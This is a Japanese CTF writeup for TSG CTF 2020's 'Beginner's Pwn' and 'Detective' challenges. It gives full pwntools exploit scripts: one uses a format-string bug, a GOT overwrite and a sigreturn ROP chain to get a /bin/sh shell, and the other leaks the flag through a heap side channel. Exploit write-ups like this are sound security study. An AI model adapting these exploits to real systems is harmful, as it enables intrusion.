TSG CTF 2020 Writeup
Beginner's PwnとDetectiveを解きました(std::vectorのような問題を解けるようになりたい…。追記:終了後に解きました Python + C拡張モジュールのExploit(TSG CTF 2020 std::vector) - h_nosonの日記)。
[Pwn] Beginner's Pwn
優しめのヒントが与えられている
かなり典型的な問題ですが、それほど直ちに解けるというわけでもないんじゃないでしょうか 初心者向けのヒント: リモートのサーバー上で、プログラムが動いています。 nc 35.221.81.216 30002によって接続してみてください。 この問題の目標は、リモートサーバーへのアクセスをするために、 /bin/shを実行することです。 接続ができたら、サーバーにフラグファイルがあるのが分かると思います。 それを読んでください。 シェルをとる方法: もしあなたがほとんどpwnの手法を知らないならば、 次の単語をインターネットで調べることは、良いとっかかりになると思います。 Format String Bug GOT (Global Offset Table) Overwrite Buffer Overflow Return Oriented Programming sigreturn syscall etc. 私の意見では、この問題を解くためには、上述した手法で事足りると思います。 (実際のところ、これらのうちのいくつかが必要です) 注意ですが、この問題はワンライナーで解くのは難しいと思われます。 ソルバースクリプトを書くことをおすすめします。 pwntoolsを使ったソルバスクリプトのテンプレートも添付しました。 ご自由にお使いください。
バイナリはとても小さくて、readn(buf, 0x18)
の後にscanf(buf)
をしているだけ
undefined8 main(void) { long in_FS_OFFSET; undefined buf [24]; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); readn(buf,0x18); __isoc99_scanf(buf); if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return 0; }
scanf
に直接bufが渡されているので任意のフォーマット(%s, %dなど)を使うことができる。%sで任意長の文字列を入れることができればROPに持ち込めるがSSPが有効であるため__stack_chk_fail
で落ちる。これは予め__stack_chk_fail
のGOTをret
などで潰しておけば回避できる。あとはROPでexecve("/bin/sh", NULL, NULL)
を呼び出せばいいのだがpop rax
やpop rdx
などのgadgetがないため、他の方法で値を入れる必要がある。raxはreadn
の後半で最後の文字と\n
を比較するときにalを使っていてそれがこの関数の最後まで保持されるので、readn
の最後にraxにセットしたい値を入力すればいい。rdxはヒントにある通りsigreturn syscallを使って全てのレジスタの値をスタックから取り出すことで解決できる。
4011d8: 8b 45 f0 mov eax,DWORD PTR [rbp-0x10] 4011db: 83 e8 01 sub eax,0x1 4011de: 89 c2 mov edx,eax 4011e0: 48 8b 45 e8 mov rax,QWORD PTR [rbp-0x18] 4011e4: 48 01 d0 add rax,rdx 4011e7: 0f b6 00 movzx eax,BYTE PTR [rax] 4011ea: 3c 0a cmp al,0xa 4011ec: 75 12 jne 401200 <readn+0xba> 4011ee: 8b 45 f0 mov eax,DWORD PTR [rbp-0x10] 4011f1: 83 e8 01 sub eax,0x1 4011f4: 89 c2 mov edx,eax 4011f6: 48 8b 45 e8 mov rax,QWORD PTR [rbp-0x18] 4011fa: 48 01 d0 add rax,rdx 4011fd: c6 00 00 mov BYTE PTR [rax],0x0 401200: 90 nop 401201: c9 leave 401202: c3 ret
#!/usr/bin/env python from pwn import * if len(sys.argv) == 1: s = process('./beginners_pwn') else: s = remote('35.221.81.216', 30002) elf = ELF('./beginners_pwn') ret = 0x401256 pop_rdi = 0x4012c3 pop_rsi_r15 = 0x4012c1 syscall = 0x40118f payload = '' payload += '%8$d%1$s' payload = payload.ljust(0x10, '\0') payload += p64(elf.got['__stack_chk_fail']) s.sendline(payload) time.sleep(0.1) s.sendline(str(ret)) time.sleep(0.1) payload = '' payload += 'A' * 0x11 payload += p64(pop_rdi) payload += p64(elf.bss()) payload += p64(pop_rsi_r15) payload += p64(0x21) + p64(0) payload += p64(elf.symbols['readn']) payload += p64(syscall) payload += p64(0) * 0xd payload += p64(elf.bss()) # rdi payload += p64(0) * 0x4 # rsi, rdx, etc. payload += p64(0x3b) # rax payload += p64(0) # rcx payload += p64(elf.bss(0x200)) # rsp payload += p64(syscall) # rip payload += p64(0) # eflags payload += p64(0x33) # csgsfs payload += p64(0) * 5 s.sendline(payload) time.sleep(0.1) s.send('/bin/sh\0' + 'A' * 0x18 + '\x0f') s.interactive()
[Pwn] Detective
flagを1文字読み込んでheap上のほぼ任意の位置に一度だけ置くことができる。ただ、heapのデータを出力する機能はないのでどうにかして間接的にその値を特定する(またはシェルを取る)必要がある。どの領域のアドレスもわからず、確保できるchunkの大きさも0x100
が上限かつcallocが使われているのでbinsを操作してシェルを起動する方法は見つからなかった。そこでchunkのsizeの2byte目にflagを書き込んでfreeしたときにエラーで落ちるかどうかで値を特定した。例えば、あるflagの文字が"4"であるときsizeは0x34XXになり、そのchunkの後ろの0x34XXバイト分を予め埋めておいてfreeが正常に動くようにした場合とそうでない場合を比べることで判別できる。(細かい注意点は、callocはtcacheを見ないのでcallocに特定のchunkを取り出して欲しい時はfastbinsに出しておかなければいけない)
#!/usr/bin/env python from pwn import * def connect(): global s if len(sys.argv) == 1: s = process('./detective') else: s = remote('35.221.81.216', 30001) def setup(index): s.sendline(str(index)) def alloc(index, size, data='A'): s.sendline('0') s.sendline(str(index)) s.sendline(str(size)) s.sendline(data) def free(index): s.sendline('1') s.sendline(str(index)) def read(index, at): s.sendline('2') s.sendline(str(index)) s.sendline(str(at)) flag = 'TSGCTF{' context.log_level = 'WARNING' for i in range(len(flag), 0x27): p = log.progress('Finding the flag character at %d' % len(flag), level = 'WARNING') for c in '0123456789abcdef': p.status(c) connect() setup(len(flag)) for j in range(8): alloc(0, 0x18) free(0) alloc(1, 0xf8) for j in range(ord(c)-1): alloc(0, 0xf8) alloc(0, 0x18) read(0, 0x19) free(1) try: s.recvuntil('double free') except Exception: flag += c p.success(flag) break flag += '}' print flag